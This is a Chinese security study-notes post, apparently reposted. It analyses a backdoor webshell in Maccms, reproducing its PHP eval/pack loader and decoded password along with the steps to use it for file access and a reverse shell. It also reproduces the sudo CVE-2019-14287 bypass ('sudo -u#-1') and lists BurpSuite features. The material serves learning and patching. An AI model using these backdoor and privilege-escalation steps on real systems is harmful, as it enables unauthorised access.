码迷,mamicode.com
首页 > 系统相关 > 详细

10.16Maccms后门分析、Sudo提权漏洞(CVE-2019-14287)复现

时间:2019-10-16 19:35:35      阅读:307      评论:0      收藏:0      [点我收藏+]

标签:详细信息   glob   使用   解密   intruder   权限   报错   其他   重启   

Maccms后门分析

maccms网站基于php+mysql的系统,易用性、功能良好等优点,用途范围广

打开源码,extend\Qcloud\Sms\Sms.phpextend\upyun\src\Upyun\Api\Format.php是两个后门(Sms.phpFormat.php是后门木马 二者代码相同)

<?php

error_reporting(E_ERROR);//报错

@ini_set(‘display_errors‘,‘Off‘);

@ini_set(‘max_execution_time‘,20000);

@ini_set(‘memory_limit‘,‘256M‘); //所有ini_set都是初始化环境

header("content-Type: text/html; charset=utf-8");

$password = "0d41c75e2ab34a3740834cdd7e066d90";//MD5加密的密码,解密后为WorldFilledWithLove

functions(){

$str =”编码后的恶意代码”;

$str = str_rot13($str);

m($str);

}

function m($str){

global $password;

$jj = ‘‘;

eval($jj.pack(‘H*‘,$str).$jj);  //pack(‘H*‘,$str)对混淆的php进行解码,解码之后进行eval函数处理

}

s();

?>

使用密码访问http://127.0.0.1/extend/Qcloud/Sms/Sms.php(访问Sms.phpFormat.php,地址根据自己情况来)

这样就能看到管理的文件信息

 技术图片

反弹shell(将目标机上的终端或者解析器或shell弹到攻击者指定的电脑中,需要攻击者提前监听端口:使用“nc -lvvp 端口号” l表示本地 vv表示详细信息 p表示端口)

 技术图片

技术图片

 

 

这样就能反弹目标机的shell到指定的地址上

Sudo提权漏洞(CVE-2019-14287)复现

Sudolinux系统命令,用来让普通账号以root身份去执行某些命令,如,安装软件、查看某些配置文件、关机、重启等操作

,如果普通账号需要使用sudo,需要修改配置文件/etc.sudoers,将sudo使用权赋予该账号。

Sudo提权漏洞是一个安全策略绕过问题去执行某些敏感的命令,CVE编号是CVE-2019-14287,影响的版本是小于1.8.28的版本

复现:

Step1:查看版本 sudo -V

 技术图片

 

 

Step2:修改配置文件:vim /etc/sudoersroot ALL=(ALL:ALL)ALL下面添加一行配置代码

test ALL=(ALL,!root)ALL

第一个all表示该用户可以在任意地方使用sudo

(ALL,!root)表示明了可以被除了root以外的用户执行

最后的All表示被允许执行

整体:test用户可以使用sudo,但是除了root以外的任意用户去执行命令

 

注意:需要创建test用户: useradd test  passwd test

 

Step3:切换到test用户,su test ,然后sudo id(查看rootid),发现没有权限去执行(这是root的权限)

 技术图片

使用如下方法执行我们想执行的命令

sudo -u#数字 命令

数字范围:-1~4294967295,命令是系统命令

 技术图片

其中数字-1表示root身份

 技术图片

修复方法:更新sudo版本1.8.28之后

 

总结:该漏洞复现比较鸡肋,需要管理员修改配置文件

 

BurpSuite功能

proxy代理

target目标

spider爬虫

scanner漏洞扫描

intruder暴力破解

repeater重放/中继(修改数据包并发送出去,查看回来的数据效果)

sequencer 定序器(分析不可预知的应用程序会话令牌和重要数据项的随机性的工具)

decoder编解码

comparer 比较

extender扩展(pythonjavaphp

其他

Project项目

User用户

 

10.16Maccms后门分析、Sudo提权漏洞(CVE-2019-14287)复现

标签:详细信息   glob   使用   解密   intruder   权限   报错   其他   重启   

原文地址:https://www.cnblogs.com/x98339/p/11687379.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!